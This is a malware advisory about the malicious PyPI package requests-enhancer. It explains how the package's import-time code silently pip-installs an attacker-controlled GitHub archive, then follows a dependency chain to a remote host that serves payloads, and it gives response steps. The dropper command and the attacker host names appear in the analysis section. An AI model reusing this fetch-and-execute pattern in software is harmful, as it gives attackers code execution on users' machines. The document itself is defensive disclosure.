requests-enhancerPyPI
Advisory published Updated
requests-enhancer is a confirmed malicious PyPI package (MAL-2026-6247) that steals credentials and exfiltrates sensitive data (malicious version 1.4.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in requests-enhancer (PyPI)
What this malware does
On import requests_enhancer, the package's __init__.py spawns a daemon thread that runs pip install https://github.com/Hexa-devy/netflow-utils/archive/refs/heads/master.zip via subprocess.run([sys.executable, '-m', 'pip', 'install',...]). The target is a mutable master-branch archive with no commit SHA, version, or hash pin; pip will execute the referenced repo's setup.py / build backend as part of installation, giving whoever controls that branch arbitrary code execution on every installer's machine each time the package is imported. The behavior is undeclared in pyproject.toml and undocumented in the README. The subprocess output is redirected to DEVNULL, exceptions are swallowed by a bare except Exception: pass, and the work is done on a daemon thread so the import returns immediately — making the fetch-and-execute invisible to the user and to synchronous import-time auditing. This is a textbook dropper: post-publish attacker-mutable code execution at import time, with deliberate silencing of evidence.
Malicious package with a chain of multiple manual dependencies to finally download malicious code. During import, it manually downloads a dependency from GitHub repository "Hexa-devy/netflow-utils", which then attempts to download "codexio-boop/platform_syslib". The last one contains obfuscated code that during installation connects with node22.lunes[.]host:3258 and downloads encrypted payload. The payload is executed, and it then starts another loop of connections to node22.lunes[.]host:22240 and awaits next payloads to execute. During analysis, this stage did not deliver any payload. On every stage, short-living generated tokens are used.
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-06-requests-enhancer
Reasons (based on the campaign):
-
backdoor
-
The package overrides the install command in setup.py to execute malicious code during installation.
-
obfuscation
-
The malicious code is intentionally included in a dependency of the package
-
The package contains code to execute remote commands (probably limited to a specific set) on the victim's machine.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for requests-enhancer (version 1.4.2).
If you installed it — respond
requests-enhancer is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If requests-enhancer was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- Kamil Mańkowski (kam193) · reporter
Detect & block this
O3 blocks requests-enhancer-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.